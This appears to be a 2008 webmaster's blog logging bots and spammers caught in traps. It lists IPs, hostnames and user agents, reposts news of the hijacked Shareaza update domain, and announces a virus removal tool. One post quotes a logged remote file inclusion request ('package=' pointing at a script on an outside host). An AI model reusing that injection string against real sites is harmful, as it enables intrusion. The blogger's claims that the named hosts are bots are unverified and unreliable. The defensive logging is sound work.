Why are all of these ips falling into bot traps?
Looks like a bot net thats trying to spider web sites.
75.126.231.122,2008-02-24,basetower.com,AB,BAN,Fell in bot trap
195.114.26.150,2008-02-28,hestia.produhost.net,AB,BAN,Fell in bot trap
149.156.132.152,2008-02-28,riad.pk.edu.pl,AB,BAN,Fell in bot trap
82.210.30.123,2008-02-28,son.s-online.at,AB,BAN,Fell in bot trap
87.230.22.135,2008-02-28,i-dreams.net,AB,BAN,Fell in bot trap
193.71.16.18,2008-02-28,-,AB,BAN,Fell in bot trap
88.191.11.195,2008-02-28,sd-301.dedibox.fr,AB,BAN,Fell in bot trap
207.210.117.6,2008-02-29,dman.com,AB,BAN,Fell in bot trap
89.248.99.66,2008-02-29,infurma.es,AB,BAN,Fell in bot trap
194.109.91.146,2008-02-29,kkadam.xs4all.nl,AB,BAN,Fell in bot trap
210.127.253.75,2008-02-29,-,AB,BAN,Fell in bot trap
Feb 29, 2008
Feb 28, 2008
"Fake Shareaza" takes over updates from the real thing
Posted by Erica George Wed, 20 Feb 2008 21:06:00 GMT
Users of the popular filesharing application Shareaza are reporting that a competitor has taken over a former Shareaza website and is using it to overwrite the real Shareaza application with an impostor posing as an update.
How is that possible? According to Sarah Pike at AppScout:
Someone took great advantage of old code in Shareaza, which checks for updates with, among other URLs, www.shareaza.com, which another company has now registered. So when the real Shareaza does its regular thing and checks in for updates, it offers to download the fake Shareaza to replace itself.
For software producers, this is an important wake-up call. If your software automatically checks a website for updates, you’re responsible for what that website delivers to your users, so it’s important to maintain control of that site.
Users shouldn’t see the Shareaza switch as a reason to forgo software updates. As the AppScout post discusses, in this kind of social engineering scam there are often warning signs that something may not be quite right. Be sure you read dialog boxes carefully before clicking OK and agreeing to anything, including an update. And do your best to stay informed about the software you use by signing up for alerts from the distributor, or regularly checking for news.
--clip----
We warned you about this domain being hyjacked a while ago. You are also warned that the software installs some bots on your system so if you dio download this imposter you need to scan your system for adaware.
Get the real program at its new location
Users of the popular filesharing application Shareaza are reporting that a competitor has taken over a former Shareaza website and is using it to overwrite the real Shareaza application with an impostor posing as an update.
How is that possible? According to Sarah Pike at AppScout:
Someone took great advantage of old code in Shareaza, which checks for updates with, among other URLs, www.shareaza.com, which another company has now registered. So when the real Shareaza does its regular thing and checks in for updates, it offers to download the fake Shareaza to replace itself.
For software producers, this is an important wake-up call. If your software automatically checks a website for updates, you’re responsible for what that website delivers to your users, so it’s important to maintain control of that site.
Users shouldn’t see the Shareaza switch as a reason to forgo software updates. As the AppScout post discusses, in this kind of social engineering scam there are often warning signs that something may not be quite right. Be sure you read dialog boxes carefully before clicking OK and agreeing to anything, including an update. And do your best to stay informed about the software you use by signing up for alerts from the distributor, or regularly checking for news.
--clip----
We warned you about this domain being hyjacked a while ago. You are also warned that the software installs some bots on your system so if you dio download this imposter you need to scan your system for adaware.
Get the real program at its new location
Feb 20, 2008
ns.allwatch.us spambot
400 Prohibited header 'Proxy-Connection' present
Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461)
87.118.118.254 ns.allwatch.us
No trafic should be comming from this domain its a RU watch site so its banned.
Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461)
87.118.118.254 ns.allwatch.us
No trafic should be comming from this domain its a RU watch site so its banned.
porting Bad Behavior to any PHP script
If you are having trouble porting Bad Behavior to a PHP script
All you have to do is use the scripts in MM Autoban and the work is done for you. Just install BB under the MM autoban directory. You dont have to use MMAutoban you can just call BB.
All you have to do is use the scripts in MM Autoban and the work is done for you. Just install BB under the MM autoban directory. You dont have to use MMAutoban you can just call BB.
Feb 19, 2008
More Botnets found
403 User-Agent was found on blacklist
Agent: libwww-perl/5.808
70.86.201.130 pouch.kangaroopartners.com
Agent: libwww-perl/5.808
70.84.175.98 mail.zoiig.com
Agent: libwww-perl/5.808
69.65.40.218 greenlifestyletoday.com
Agent: libwww-perl/5.805
195.177.193.178 creativestation.co.uk
Agent: libwww-perl/5.808
72.36.179.98 orbitdesignworks.com
Agent: libwww-perl/5.808
65.91.249.193 alef.northtrex.com
Agent: libwww-perl/5.79
64.13.255.23 familyguy.ca
Agent: libwww-perl/5.803
64.49.254.23 server1.opennms.org
Agent: libwww-perl/5.79
72.36.235.74 newinst.greenbaumstaging.com
Agent: libwww-perl/5.79
89.234.7.39 ns3.ctm-it.com
Agent: libwww-perl/5.808
64.141.102.13 64-141-102-13.static.dns77.com
Agent: libwww-perl/5.805
80.177.187.23 no-dns-yet.demon.co.uk
Agent: libwww-perl/5.808
72.29.78.145 72-29-78-145.static.dimenoc.com
Agent: libwww-perl/5.805
87.106.221.124 s15289207.onlinehome-server.info
Agent: libwww-perl/5.808
64.118.86.20 drive28.123servers.com
Agent: libwww-perl/5.808
86.109.105.76
Agent: libwww-perl/5.805
193.33.20.193 master.herrotto.de
Agent: libwww-perl/5.808
70.86.201.130 pouch.kangaroopartners.com
Agent: libwww-perl/5.808
70.84.175.98 mail.zoiig.com
Agent: libwww-perl/5.808
69.65.40.218 greenlifestyletoday.com
Agent: libwww-perl/5.805
195.177.193.178 creativestation.co.uk
Agent: libwww-perl/5.808
72.36.179.98 orbitdesignworks.com
Agent: libwww-perl/5.808
65.91.249.193 alef.northtrex.com
Agent: libwww-perl/5.79
64.13.255.23 familyguy.ca
Agent: libwww-perl/5.803
64.49.254.23 server1.opennms.org
Agent: libwww-perl/5.79
72.36.235.74 newinst.greenbaumstaging.com
Agent: libwww-perl/5.79
89.234.7.39 ns3.ctm-it.com
Agent: libwww-perl/5.808
64.141.102.13 64-141-102-13.static.dns77.com
Agent: libwww-perl/5.805
80.177.187.23 no-dns-yet.demon.co.uk
Agent: libwww-perl/5.808
72.29.78.145 72-29-78-145.static.dimenoc.com
Agent: libwww-perl/5.805
87.106.221.124 s15289207.onlinehome-server.info
Agent: libwww-perl/5.808
64.118.86.20 drive28.123servers.com
Agent: libwww-perl/5.808
86.109.105.76
Agent: libwww-perl/5.805
193.33.20.193 master.herrotto.de
Hacker scripts on amyru.h18.ru 70.51.117.24
This joker thought I might be using a filname to load a text file so he tried to load his hacker file. this is not how I program tho so it would do nothing even if his useragent had not been banned.
package=http://amyru.h18.ru/images/cs.txt? GET HTTP/1.1
Agent: wget/1.1 (compatible; i486; linux; redhat7.3)
70.51.117.24
h18.ru should be added to the hackers file.
The host has shutdown amyru.h18.ru
package=http://amyru.h18.ru/images/cs.txt? GET HTTP/1.1
Agent: wget/1.1 (compatible; i486; linux; redhat7.3)
70.51.117.24
h18.ru should be added to the hackers file.
The host has shutdown amyru.h18.ru
Access you is forbidden cannot obtain access to site amyru.h18.ru of t.k its owner it allowed the crude violation of the conditions of free hosting and was deprived of the right of access. All questions request to direct to hs@agava.com
Feb 14, 2008
w32.nopir.c-p2p Virus Removal tool
Since I released this tool back in 06 118 people have downloaded it to remove this nasty virus. Once you get it it erases all your music files and then prevents you from booting your system.
Download this program w32.nopir.c-p2p-worm-fix-v2.zip On another computer. Copy it to your computer. Likely will have to use a cd or a disk. Reboot your computer following docs and run the script. It will remove the hack files and the hooks that load them. You should then be able to reboot to windows. This was writen for XP it is unknown how the virus will work on Vista.
Download this program w32.nopir.c-p2p-worm-fix-v2.zip On another computer. Copy it to your computer. Likely will have to use a cd or a disk. Reboot your computer following docs and run the script. It will remove the hack files and the hooks that load them. You should then be able to reboot to windows. This was writen for XP it is unknown how the virus will work on Vista.
Feb 6, 2008
robot sipost.de
Agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.1; .net clr 2.0.50727; .net clr 1.1.4322)
81.169.162.124 sipost.de
Not sure what this bot is trying to do. It fell into a bot trap.
A visit to sipost.de tells me access forbiden.
So sipost.de is now banned.
81.169.162.124 sipost.de
Not sure what this bot is trying to do. It fell into a bot trap.
A visit to sipost.de tells me access forbiden.
So sipost.de is now banned.
dude.websupport.sk is a robot
Agent: -NO AGENT-
81.89.48.230 dude.websupport.sk
Not sure what this one is. But websupport.sk is now banned
81.89.48.230 dude.websupport.sk
Not sure what this one is. But websupport.sk is now banned
NASA Web Robot? host.jsc.nasa.gov
403 Required header 'Accept' missing
Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
128.157.254.171 host.jsc.nasa.gov
Whats this is NASA running a robot?
Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
128.157.254.171 host.jsc.nasa.gov
Whats this is NASA running a robot?
maryland.networkphantom.net
Agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.1; .net clr 2.0.50727; .net clr 1.1.4322)
64.128.80.15 maryland.networkphantom.net
Another bot. Fell into a bot trap and then tried to post some spam urls after it was banned.
64.128.80.15 maryland.networkphantom.net
Another bot. Fell into a bot trap and then tried to post some spam urls after it was banned.
gts2.westmaster.com spambot
Agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.1; .net clr 2.0.50727; .net clr 1.1.4322)
81.31.32.41 gts2.westmaster.com
This bot came in and fell in a bot trap. It then went about trying to post spam urls after it had been banned.
81.31.32.41 gts2.westmaster.com
This bot came in and fell in a bot trap. It then went about trying to post spam urls after it had been banned.
Subscribe to:
Posts (Atom)
